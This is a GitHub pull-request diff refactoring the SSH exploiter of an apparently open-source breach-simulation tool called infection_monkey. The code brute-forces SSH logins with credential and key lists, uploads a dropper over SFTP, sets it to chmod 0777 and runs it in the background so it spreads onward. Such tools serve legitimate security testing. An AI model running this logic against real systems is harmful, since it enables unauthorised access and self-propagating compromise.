Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Modify SSH exploit #1727

Merged
merged 12 commits into from
Feb 23, 2022
Merged
Show file tree
Hide file tree
Changes from 11 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 17 additions & 14 deletions monkey/infection_monkey/exploit/HostExploiter.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,13 @@
import logging
from abc import abstractmethod
from datetime import datetime
from typing import Dict

from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.config import WormConfiguration
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger

logger = logging.getLogger(__name__)

Expand All @@ -26,7 +29,7 @@ class HostExploiter:
def _EXPLOITED_SERVICE(self):
pass

def __init__(self, host):
def __init__(self):
self._config = WormConfiguration
self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE,
Expand All @@ -37,7 +40,10 @@ def __init__(self, host):
"executed_cmds": [],
}
self.exploit_attempts = []
self.host = host
self.host = None
self.telemetry_messenger = None
self.options = {}
self.exploit_result = {}

def set_start_time(self):
self.exploit_info["started"] = datetime.now().isoformat()
Expand All @@ -48,17 +54,6 @@ def set_finish_time(self):
def is_os_supported(self):
return self.host.os.get("type") in self._TARGET_OS_TYPE

def send_exploit_telemetry(self, name: str, result: bool):
from infection_monkey.telemetry.exploit_telem import ExploitTelem

ExploitTelem( # stale code
name=name,
host=self.host,
result=result,
info=self.exploit_info,
attempts=self.exploit_attempts,
).send()

def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""):
self.exploit_attempts.append(
{
Expand All @@ -71,7 +66,12 @@ def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash=
}
)

def exploit_host(self):
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
self.host = host
self.telemetry_messenger = telemetry_messenger
self.options = options

self.pre_exploit()
result = None
try:
Expand All @@ -85,6 +85,9 @@ def exploit_host(self):
return result

def pre_exploit(self):
self.exploit_result = ExploiterResultData(
os=self.host.os.get("type"), info=self.exploit_info, attempts=self.exploit_attempts
)
self.set_start_time()

def post_exploit(self):
Expand Down
120 changes: 76 additions & 44 deletions monkey/infection_monkey/exploit/sshexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,10 +10,12 @@
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline

logger = logging.getLogger(__name__)
Expand All @@ -26,8 +28,8 @@ class SSHExploiter(HostExploiter):
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "SSH"

def __init__(self, host):
super(SSHExploiter, self).__init__(host)
def __init__(self):
super(SSHExploiter, self).__init__()
self._update_timestamp = 0

def log_transfer(self, transferred, total):
Expand All @@ -37,7 +39,10 @@ def log_transfer(self, transferred, total):
self._update_timestamp = time.time()

def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"],
)

for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
Expand Down Expand Up @@ -67,7 +72,10 @@ def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
raise FailedExploitationError

def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
user_password_pairs = self._config.get_exploit_user_password_pairs()
user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"],
)

for user, current_password in user_password_pairs:

Expand All @@ -76,64 +84,70 @@ def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
try:
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)

logger.debug(
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
)
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port)
self.report_login_attempt(True, user, current_password)
return ssh

except Exception as exc:
logger.debug(
"Error logging into victim %r with user"
" %s and password (SHA-512) '%s': (%s)",
"Error logging into victim %r with user" " %s: (%s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
exc,
)
self.report_login_attempt(False, user, current_password)
ssh.close()
continue
raise FailedExploitationError

def _exploit_host(self):

def _exploit_host(self) -> ExploiterResultData:
port = SSH_PORT

# if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", ""))

is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
logger.info("SSH port is closed on %r, skipping", self.host)
return False
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"

logger.info(self.exploit_result.error_message)
return self.exploit_result

try:
ssh = self.exploit_with_ssh_keys(port)
self.exploit_result.exploitation_success = True
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
self.exploit_result.exploitation_success = True
except FailedExploitationError:
logger.debug("Exploiter SSHExploiter is giving up...")
return False
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
logger.debug(self.exploit_result.error_message)
return self.exploit_result

if not self.host.os.get("type"):
try:
_, stdout, _ = ssh.exec_command("uname -o")
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.host.os["type"] = "linux"
self.exploit_result.os = "linux"
else:
logger.info("SSH Skipping unknown os: %s", uname_os)
return False
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"

if not uname_os:
logger.error(self.exploit_result.error_message)
return self.exploit_result
except Exception as exc:
logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
return False
self.exploit_result.error_message = (
f"Error running uname os command on victim {self.host}: ({exc})"
)

logger.debug(self.exploit_result.error_message)
return self.exploit_result

if not self.host.os.get("machine"):
try:
Expand All @@ -142,15 +156,20 @@ def _exploit_host(self):
if "" != uname_machine:
self.host.os["machine"] = uname_machine
except Exception as exc:
logger.debug(
"Error running uname machine command on victim %r: (%s)", self.host, exc
self.exploit_result.error_message = (
f"Error running uname machine command on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)

src_path = get_target_monkey(self.host)

if not src_path:
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)

logger.info(self.exploit_result.error_message)
return self.exploit_result

try:
ftp = ssh.open_sftp()
Expand All @@ -159,45 +178,58 @@ def _exploit_host(self):
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(
file_obj,
self._config.dropper_target_path_linux,
self.options["dropper_target_path_linux"],
file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer,
)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
status = ScanStatus.USED
T1222Telem(
ScanStatus.USED,
"chmod 0777 %s" % self._config.dropper_target_path_linux,
self.host,
).send()
self.telemetry_messenger.send_telemetry(
T1222Telem(
ScanStatus.USED,
"chmod 0777 %s" % self.options["dropper_target_path_linux"],
self.host,
)
)
ftp.close()
except Exception as exc:
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
status = ScanStatus.SCANNED

T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
).send()
self.telemetry_messenger.send_telemetry(
T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
)
)
if status == ScanStatus.SCANNED:
return False
return self.exploit_result

try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline)

logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.options["dropper_target_path_linux"],
self.host,
cmdline,
)

self.exploit_result.propagation_success = True

ssh.close()
self.add_executed_cmd(cmdline)
return True
return self.exploit_result

except Exception as exc:
logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
return False
self.exploit_result.error_message = (
f"Error running monkey on victim {self.host}: ({exc})"
)

logger.error(self.exploit_result.error_message)
return self.exploit_result
24 changes: 17 additions & 7 deletions monkey/infection_monkey/i_puppet/i_puppet.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,9 @@
import abc
import threading
from collections import namedtuple
from dataclasses import dataclass
from enum import Enum
from typing import Dict, List, Sequence
from typing import Dict, Iterable, List, Mapping, Sequence

from . import Credentials, PluginType

Expand All @@ -16,10 +17,16 @@ class UnknownPluginError(Exception):
pass


ExploiterResultData = namedtuple(
"ExploiterResultData",
["exploitation_success", "propagation_success", "os", "info", "attempts", "error_message"],
)
@dataclass
class ExploiterResultData:
exploitation_success: bool = False
propagation_success: bool = False
os: str = ""
info: Mapping = None
attempts: Iterable = None
error_message: str = ""


PingScanData = namedtuple("PingScanData", ["response_received", "os"])
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
Expand Down Expand Up @@ -102,16 +109,19 @@ def fingerprint(
:rtype: FingerprintData
"""

# TODO: host should be VictimHost, at the moment it can't because of circular dependency
@abc.abstractmethod
def exploit_host(
self, name: str, host: str, options: Dict, interrupt: threading.Event
self, name: str, host: object, options: Dict, interrupt: threading.Event
) -> ExploiterResultData:
"""
Runs an exploiter against a remote host
:param str name: The name of the exploiter to run
:param str host: The domain name or IP address of a host
:param object host: The domain name or IP address of a host
:param Dict options: A dictionary containing options that modify the behavior of the
exploiter
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop
executing and clean itself up.
:return: True if exploitation was successful, False otherwise
:rtype: ExploiterResultData
"""
Expand Down
2 changes: 1 addition & 1 deletion monkey/infection_monkey/master/exploiter.py
Original file line number Diff line number Diff line change
Expand Up @@ -115,7 +115,7 @@ def _run_exploiter(
credentials = self._get_credentials_for_propagation()
options = {"credentials": credentials, **options}

return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, options, stop)
return self._puppet.exploit_host(exploiter_name, victim_host, options, stop)

def _get_credentials_for_propagation(self) -> Mapping:
try:
Expand Down
Loading